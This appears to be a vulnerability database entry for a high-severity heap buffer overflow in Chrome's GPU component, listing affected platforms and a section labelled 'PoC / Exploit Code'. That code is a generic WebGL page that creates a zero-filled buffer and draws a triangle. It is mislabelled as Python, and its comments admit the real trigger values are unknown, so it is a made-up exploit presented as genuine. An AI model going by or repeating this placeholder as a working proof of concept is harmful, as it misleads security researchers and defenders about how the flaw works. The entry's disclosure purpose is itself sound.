Heap buffer overflow in GPU in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-5272 -->
<!-- This HTML page attempts to trigger the heap buffer overflow in Chrome GPU -->
<html>
<body>
<canvas id="glCanvas"></canvas>
<script>
// Attempt to trigger GPU buffer overflow via WebGL
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
if (gl) {
// Malicious buffer size or data to trigger the overflow
// Specific values depend on the exact vulnerability details.
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Crafting data to exploit the heap buffer overflow
const data = new Float32Array(0x100000);
gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
// Trigger the rendering path that causes the crash
gl.drawArrays(gl.TRIANGLES, 0, 3);
}
</script>
</body>
</html>